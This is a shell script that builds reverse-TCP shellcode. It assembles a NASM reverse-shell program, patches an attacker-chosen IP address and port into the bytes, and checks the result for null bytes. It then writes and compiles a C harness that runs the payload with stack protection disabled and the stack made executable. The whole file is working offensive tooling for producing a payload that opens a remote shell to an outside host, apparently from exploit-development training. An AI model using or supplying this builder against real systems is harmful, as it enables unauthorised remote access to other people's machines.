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#!/usr/bin/env sh
#
# Creates a shell_reverse_tcp shellcode
#
# Example
# ./compile_all.sh shell_reverse_tcp 192.168.1.1 12357
#
# If no IP & Port specified, the default ones will be used 192.168.1.1 12357
#
# IP and Port are stored in last 6 bytes in HEX
#
ARG1=$1 # Specify program
ARG2=$2 # Specify IP
ARG3=$3 # Specify port
#
# Check script usage and file existence
#
if [ -z "$ARG1" ]; then
echo " [I] Please specify program you would like to assemble!"
echo " [I] Usage example: ./compile_all.sh shell_reverse_tcp 192.168.1.1 12357"
exit 1;
elif [ -e "$ARG1" ]; then
if [[ $ARG1 == *nasm* ]]; then
ARG1=$(echo -ne $ARG1 |sed 's/.....$//g');
echo $ARG1
fi
elif [ ! -e "$ARG1".nasm ]; then
ARG1_GUESS=$(echo $ARG1 |sed 's/.nasm//g')
if [ -e "$ARG1_GUESS" ]; then
ARG1=$ARG1_GUESS
else
echo " [E] File "$ARG1" does not exist!"
exit 1;
fi
fi
#
# Validate nasm source file
#
if ! $(grep -qi ^global $ARG1.nasm 2>/dev/null); then
echo " [E] The file "$ARG1.nasm" does not appear to be a correct NASM source!"
exit 1;
fi
#
# Validate and Convert IP to HEX
#
function valid_ip()
{
local ip=$1
local stat=1
if [[ $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
OIFS=$IFS
IFS='.'
ip=($ip)
IFS=$OIFS
[[ ${ip[0]} -le 255 && ${ip[1]} -le 255 && \
${ip[2]} -le 255 && ${ip[3]} -le 255 ]]
stat=$?
fi
return $stat
}
if [ -z "$ARG2" ]; then
echo " [E] Please specify IP"
exit 1;
else
if valid_ip $ARG2; then
IPHEX=$(printf '%.2x' ${ARG2//./ } | sed 's/../\\x&/g')
else
echo " [E] IP is not valid!"
exit 1;
fi
fi
#
# Port range check
#
if [ -z "$ARG3" ]; then
echo " [I] Default port will be used."
ARG3=12357;
elif ! [[ $ARG3 -ge 1024 && $ARG3 -le 65535 ]]; then
echo " [E] The port must be in range 1024..65535 !"
exit 1;
else
echo " [I] Using custom port: "$ARG3
fi
#
# Assemble and link
#
echo " [+] Assembling "$ARG1".nasm with NASM ..."
nasm -f elf32 -o $ARG1.o $ARG1.nasm && \
echo " [+] Linking "$ARG1".o ..." && \
ld -m elf_i386 -o $ARG1 $ARG1.o && \
echo -e " [+] Generating shellcode with objdump ..." && \
SHELLCODE=$(objdump -d ./$ARG1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g')
#
# Set the custom port (if any was specified) for the shellcode
#
if [ -z "$ARG3" ]; then
FULL_SHELLCODE=$(echo $SHELLCODE)
else
PORT_HEX=$(printf '%.4x' $ARG3 | sed 's/../\\x&/g')
FULL_SHELLCODE=$(echo -n $SHELLCODE | sed 's/.........................$//' ; echo ${IPHEX}${PORT_HEX}"\"")
fi
#
# Check shellcode for NULLs
#
echo " [+] Checking shellcode for NULLs ..."
if [[ $FULL_SHELLCODE == *00* ]]; then
echo " [E] Your shellcode contains 00 (NULL) ! Most likely you need to change your IP or port."
exit 1
fi
echo -ne " [+] Shellcode size is "$(echo -ne $FULL_SHELLCODE|sed 's/\"//g'|wc -c)" bytes\n"
echo $FULL_SHELLCODE
if [ -z "$FULL_SHELLCODE" ]; then
exit 1;
fi
#
# Generate shellcode.c
#
echo " [+] Generating shellcode.c file with the "$ARG1" shellcode ..."
cat > shellcode.c << EOF
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
$FULL_SHELLCODE;
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
EOF
#
# Compile C code with GCC
#
echo " [+] Compiling shellcode.c with GCC ..."
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
echo -e " [+] All done! You can run the shellcode now: \n$ ./shellcode"